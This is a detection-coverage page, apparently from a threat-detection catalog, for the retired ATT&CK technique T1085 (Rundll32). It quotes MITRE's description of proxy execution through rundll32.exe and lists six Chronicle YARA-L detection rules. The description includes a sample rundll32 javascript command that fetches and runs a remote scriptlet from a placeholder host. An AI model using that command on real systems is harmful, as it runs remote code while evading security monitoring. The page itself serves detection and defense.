Cross-source coverage
T1085 / ATT&CK
Rundll32
ATT&CK has retired this technique. Rules still tag it; the current id is T1218.011 System Binary Proxy Execution: Rundll32.
6 rules across 1 source.
Showing deprecated rules · back to the default
From MITRE ATT&CK 19.2
The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.
Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a.cpl file also causes rundll32.exe to execute.
Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.
- Platforms
- Windows
- Telemetry
- —
chronicle/detection-rules
6 rules| Detection | Severity | Format |
|---|---|---|
| apt28_zekapabzebrocycannon_implant_sysmonfirewallproxy_part2 | Undefined | YARA-L |
| apt28_zekapab_zebrocy_implant__sysmon_firewall_proxy | Undefined | YARA-L |
| lokibot_detector_windows10_sysmon_behavior | Undefined | YARA-L |
| powershell_rundll32_remote_thread_creation | Undefined | YARA-L |
| rundll32_internet_connection | Undefined | YARA-L |
| suspicious_rundll32_activity | Undefined | YARA-L |